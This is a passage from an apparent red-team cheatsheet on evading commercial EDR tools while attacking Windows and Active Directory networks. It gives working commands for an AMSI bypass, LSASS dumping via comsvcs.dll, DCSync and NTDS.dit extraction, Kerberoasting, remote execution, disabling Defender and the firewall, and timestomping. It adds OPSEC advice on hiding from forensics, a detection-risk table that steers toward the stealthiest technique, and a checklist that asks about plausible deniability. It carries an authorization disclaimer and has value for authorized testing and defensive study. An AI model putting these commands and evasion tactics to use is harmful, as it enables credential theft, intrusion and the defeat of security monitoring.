  10. Operational security is not optional - Use VPNs, Tor, residential proxies for infrastructure access

    • Your real IP touching C2 admin panel = game over in forensics
    • Use separate browsers/VMs for op-related browsing (no cross-contamination with personal accounts)
    • Don't: Log into C2 panel from Starbucks WiFi on your personal laptop
  11. Document everything (offline, encrypted) - You'll forget details, need to deconflict with blue team

    • Credentials, hosts, timestamps, actions taken, artifacts created
    • If caught, documentation proves scope (useful in authorized pentests, illegal in unauthorized)
    • Use: Encrypted notes (VeraCrypt volume, GPG-encrypted text files), never plaintext
  12. Have an "oh shit" playbook - Pre-planned actions if detected

    • Kill beacons, shutdown C2, wipe logs (on your infra, not target), delete cloud resources
    • Pre-stage scripts: cleanup.sh that tears down all AWS/Azure resources, domains, VPS
    • Test your cleanup - can you teardown infra in <5 minutes? Practice.
  13. Peer review before risky actions - Second set of eyes on high-risk commands

    • Typing mimikatz.exe in DA session? Have teammate review first.
    • About to DCSync? Verify target is correct DC, timing is appropriate.
    • Solo operators: Use mental checklist or LLM (local Ollama, not ChatGPT) to review command safety.

📚 Quick Tool Reference (Enhanced)

Payload Testing & Obfuscation:

Purpose Tool Description Link / Usage
Test payload against AV/EDR ThreatCheck Identifies exactly which bytes trigger AV detection https://github.com/rasta-mouse/ThreatCheck
Test payload against Defender DefenderCheck Specifically for Windows Defender signature testing https://github.com/matterpreter/DefenderCheck
Obfuscate .NET assemblies ConfuserEx, InvisibilityCloak Control flow obfuscation, string encryption, anti-tamper https://github.com/yck1509/ConfuserEx
Shellcode encoding Shikata Ga Nai (SGN), XOR encoder Polymorphic encoding to evade signatures msfvenom -p <payload> -e x86/shikata_ga_nai -i 10
Payload packing UPX, Themida, VMProtect Compress/encrypt payload (careful: many packers are signatured) Use custom packers, avoid common ones
PE modification PE-bear, CFF Explorer Modify PE headers, sections, remove signatures, change entropy Manual PE manipulation, remove .reloc, modify timestamps

Evasion Techniques:

Purpose Tool / Technique Description Link / Usage
Direct/Indirect syscalls SysWhispers3, Halo's Gate, Hell's Gate, FreshyCalls Bypass user-mode hooks by calling syscalls directly https://github.com/klezVirus/SysWhispers3
Sleep obfuscation Ekko, Foliage, Zilean, Gargoyle Encrypt beacon memory during sleep to evade scans https://github.com/Cracked5pider/Ekko
AMSI bypass AmsiScanBuffer patch, Reflection bypass, amsiInitFailed Patch or bypass AMSI in-memory before script execution [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
ETW bypass EtwEventWrite patch, TamperETW, provider disabling Patch ETW or disable providers to avoid telemetry https://github.com/outflanknl/TamperETW
Unhook NTDLL Restore clean ntdll .text section from disk or KnownDlls Remove EDR hooks by restoring original function bytes Read from \KnownDlls\ntdll.dll or suspended process, restore .text
Shellcode injection (alternative) Early Bird, Module Stomping, Thread Hijacking, APC injection Less-detected injection techniques vs CreateRemoteThread Use APC queue (QueueUserAPC), suspend thread + SetThreadContext, or stomp loaded module
Process Doppelgänging Transactional NTFS (TxF) process creation Create process from transacted file, rollback transaction Deprecated but still works on older systems, bypasses image load callbacks
Process Herpaderping Create process, then overwrite image on disk post-creation Modifies on-disk file after process started, evades static analysis https://github.com/jxy-s/herpaderping
PPID Spoofing Set arbitrary parent process ID before CreateProcess Makes process appear to have legitimate parent (explorer.exe) Use UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS

Shellcode Loaders & Frameworks:

Purpose Tool Description Link / Usage
Position-independent shellcode Donut Converts .NET assemblies, EXEs, DLLs to shellcode https://github.com/TheWover/donut
Reflective DLL loading sRDI (Shellcode Reflective DLL Injection) Convert DLL to position-independent shellcode https://github.com/monoxgas/sRDI
Custom C2 framework Sliver Modern alternative to Cobalt Strike, open source, gRPC-based https://github.com/BishopFox/sliver
Custom C2 framework Mythic Collaborative C2 with multiple agents (Apollo, Athena, etc.) https://github.com/its-a-feature/Mythic
Custom C2 framework Havoc Cobalt Strike-like, modern UI, open source https://github.com/HavocFramework/Havoc
Lightweight C2 Merlin HTTP/2 and HTTP/3 C2, written in Go https://github.com/Ne0nd0g/merlin
Cobalt Strike malleable C2 Custom profiles Mimic legitimate traffic (jQuery, Amazon, Office365) https://github.com/threatexpress/malleable-c2

Credential Access:

Purpose Tool Description Link / Usage
Custom credential dumping SafetyKatz, Pypykatz Alternatives to Mimikatz with less signatures https://github.com/GhostPack/SafetyKatz
LSASS dump (MiniDumpWriteDump) ProcDump, comsvcs.dll Dump LSASS using legitimate tools rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <lsass_pid> lsass.dmp full
Kerberoasting Rubeus Request TGS tickets for SPN accounts, crack offline Rubeus.exe kerberoast /outfile:hashes.txt
AS-REP Roasting Rubeus Request TGT for accounts without preauth, crack offline Rubeus.exe asreproast /format:hashcat
DCSync Mimikatz, Invoke-Mimikatz, Impacket secretsdump Replicate AD credentials from DC mimikatz # lsadump::dcsync /user:krbtgt
NTDS.dit extraction ntdsutil, vssadmin, Impacket secretsdump Extract AD database offline ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds" quit quit
Token manipulation Incognito, Invoke-TokenManipulation Steal tokens from running processes Invoke-TokenManipulation -ImpersonateUser -Username "domain\admin"

Discovery & Enumeration:

Purpose Tool Description Link / Usage
AD enumeration (manual) PowerView AD recon via PowerShell (LDAP queries) https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
AD enumeration (automated) BloodHound / SharpHound Graph-based AD attack path analysis https://github.com/BloodHoundAD/BloodHound (throttle heavily!)
AD enumeration (stealthy) ADSearch, ADModule Native AD cmdlets or custom LDAP queries Get-ADUser -Filter * -Properties * (throttle!), or raw LDAP
Network scanning (slow) nmap with long timeouts nmap -sS -p- -T2 --scan-delay 60s target Slow scan to avoid IDS/velocity detection
SMB enumeration CrackMapExec, Invoke-ShareFinder Enumerate shares, sessions, logged-in users cme smb <target> -u <user> -p <pass> --shares
Cloud enumeration (AWS) ScoutSuite, Prowler Automated AWS security audit https://github.com/nccgroup/ScoutSuite (run from attacker infra, not target)
Cloud enumeration (Azure) ROADtools, AzureHound Azure AD/tenant enumeration https://github.com/dirkjanm/ROADtools

Lateral Movement:

Purpose Tool / Technique Description Link / Usage
WinRM / PSRemoting PowerShell remoting Legitimate remote management Enter-PSSession -ComputerName target -Credential $cred
WMI Invoke-WmiMethod, wmic Remote execution via WMI Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName target -Credential $cred
DCOM MMC20.Application, ShellWindows, etc. Less-monitored COM-based execution $com = [Activator]::CreateInstanceGetTypeFromProgID("MMC20.Application","target")); $com.Document.ActiveView.ExecuteShellCommand("cmd.exe"
Scheduled tasks schtasks, Task Scheduler COM Create remote scheduled task schtasks /create /tn "TaskName" /tr "cmd.exe" /sc ONCE /st 09:00 /s target /u domain\user /p pass
Service creation sc, Remote Registry Create remote service for execution sc \\target create servicename binpath= "cmd.exe" (noisy, avoid)
SMB relay Impacket ntlmrelayx Relay NTLM authentication to other hosts ntlmrelayx.py -t smb://target -smb2support (requires network position)

Persistence:

Purpose Technique Description Detection Risk
Registry Run keys HKLM/HKCU\...\Run Classic persistence, heavily monitored HIGH - Event 13 (Sysmon), use alternatives
Scheduled tasks schtasks Persistence via task scheduler MEDIUM - Event 4698, create during business hours with delay
Services sc create Windows service persistence HIGH - Event 7045, use existing services instead
WMI event subscriptions __EventFilter, __EventConsumer Fileless WMI persistence MEDIUM - Sysmon 19/20/21, powerful but logged
COM hijacking HKCU/HKLM COM registry keys Hijack COM objects to load DLL LOW - Less monitored, requires app restart
IFEO (Image File Execution Options) Debugger value in IFEO Execute when target app launches MEDIUM - Sysmon Event 13, requires target app execution
DLL search order hijacking Place DLL in app directory or system32 App loads your DLL due to search order LOW - Requires write access to app dir, signed app helps
Startup folder shell:startup User-level persistence MEDIUM - Easy to find, monitored by EDR
AppInit_DLLs HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs Loads DLL into every process HIGH - Requires LoadAppInit_DLLs=1, deprecated, heavily monitored
Accessibility features (Sticky Keys, etc.) Replace sethc.exe with cmd.exe Backdoor via accessibility features HIGH - Known technique, file integrity monitoring triggers
Golden Ticket Forged TGT with krbtgt hash Kerberos persistence (domain-wide) MEDIUM-HIGH - Powerful but Event 4768/4769 may show anomalies
Silver Ticket Forged TGS with service hash Kerberos persistence (service-specific) LOW-MEDIUM - Less visibility than Golden Ticket, no DC contact

Defense Evasion:

Purpose Tool / Technique Description Link / Usage
Disable Defender real-time Set-MpPreference Disable real-time protection (tamper-protected) Set-MpPreference -DisableRealtimeMonitoring $true (requires admin, may fail with TamperProtection)
Defender exclusions Add-MpPreference -ExclusionPath Add exclusion paths to bypass scanning Add-MpPreference -ExclusionPath "C:\MyFolder" (requires admin)
Disable firewall netsh advfirewall Disable Windows Firewall netsh advfirewall set allprofiles state off (logged heavily, avoid)
DLL sideloading Place DLL next to signed app App loads your DLL instead of legitimate one Find vulnerable signed apps (e.g., older versions of popular software)
Masquerading Rename binary to legitimate name svchost.exe, rundll32.exe in unusual location Easily detected by path validation, hash comparison
Timestomping Modify file creation/modification times Match timestamps to legitimate files (Get-Item file.exe).CreationTime = (Get-Item C:\Windows\System32\calc.exe).CreationTime (Sysmon Event 2)

🧰 EDR-Specific Evasion Notes

CrowdStrike Falcon:

SentinelOne:

Microsoft Defender for Endpoint (MDE):

Carbon Black (VMware Carbon Black Cloud):

Elastic EDR (Open Source):


📖 Additional Resources

Learning & Research:

Testing & Validation:

Staying Current:


Last Updated: 2026-02-04
Threat Landscape: Modern EDRs (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint Gen 2025+, Carbon Black Cloud, Elastic EDR)
Disclaimer: This document is for educational purposes and authorized security testing only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before conducting security assessments.


🔍 Quick Reference Table: "Should I Do This?"

You Want To... Risk Level Will It Alert? Better Alternative
Run mimikatz.exe 🔴 CRITICAL ✅ Yes, instantly SafetyKatz, Pypykatz, DCSync, SAM dump
Open handle to lsass.exe 🔴 CRITICAL ✅ Yes, <30sec comsvcs.dll, Task Manager dump, alternative cred sources
Use PsExec 🟠 HIGH ✅ Yes, <1min WinRM, DCOM, WMI, scheduled tasks
Clear event logs 🔴 CRITICAL ✅ Yes, instant (Event 1102) DON'T - Use evasion instead
PowerShell -encodedCommand 🟠 HIGH ✅ Yes, <1min Direct .NET assembly, C#, no PS
Scan entire subnet 🟠 HIGH ⚠️ Maybe, 5-15min Slow scan (1 host/min), passive recon
Kerberoast all SPNs 🟠 HIGH ⚠️ Maybe, 5-30min 1-2 SPNs/hour, AES encryption, specific targets only
DCSync from workstation 🟠 HIGH ⚠️ Maybe, <2min DCSync from DC, use during maintenance, match admin patterns
Create scheduled task 🟡 MEDIUM ⚠️ Maybe During business hours, legitimate name, delay
WinRM / PSRemoting 🟢 LOW ❌ Rarely Use with valid creds, match normal patterns
Token manipulation (non-LSASS) 🟡 MEDIUM ⚠️ Maybe Use sparingly, legitimate processes only
Direct syscalls (SysWhispers) 🟢 LOW ❌ Rarely Yes, use this
Sleep obfuscation (Ekko) 🟢 LOW ❌ Rarely Yes, use this for beacons
PPID spoofing 🟢 LOW ❌ Rarely Yes, use legitimate parent (explorer.exe)
Use LOLBins (rundll32, mshta, etc.) 🟢 LOW-MED ⚠️ Maybe Yes, but use less common ones, avoid detection patterns

Legend:
🔴 CRITICAL: Almost certainly detected
🟠 HIGH: Likely detected without evasion
🟡 MEDIUM: May be detected depending on EDR/config
🟢 LOW: Less likely to alert
Yes: Will trigger alerts
⚠️ Maybe: Depends on EDR, configuration, context
Rarely: Low chance of alert if done correctly


🎯 Final Checklist: Before Every High-Risk Action

[ ] Have I identified the EDR/security stack?
[ ] Have I checked logging status (Sysmon, PowerShell, Audit policies)?
[ ] Is this action necessary, or can I achieve the goal differently?
[ ] What alerts will this trigger? (Behavioral, System, Network, Log)
[ ] Have I spaced this action appropriately from previous actions? (30+ min)
[ ] Am I operating during business hours (Tue-Thu, 10AM-2PM target local time)?
[ ] Do I have a cover story / plausible deniability?
[ ] Have I verified no sandbox/analysis environment?
[ ] Is my C2 infrastructure still clean (not blocklisted)?
[ ] Do I have a backup C2 channel if primary is burned?
[ ] Have I documented what I'm about to do (encrypted notes)?
[ ] If this fails or is detected, what's my fallback plan?
[ ] Am I using the least-detectable technique available for this goal?
[ ] Have I tested this technique in my lab against similar EDR?

If you answer "No" or "Unsure" to any of the above: STOP and reassess.


END OF CHEATSHEET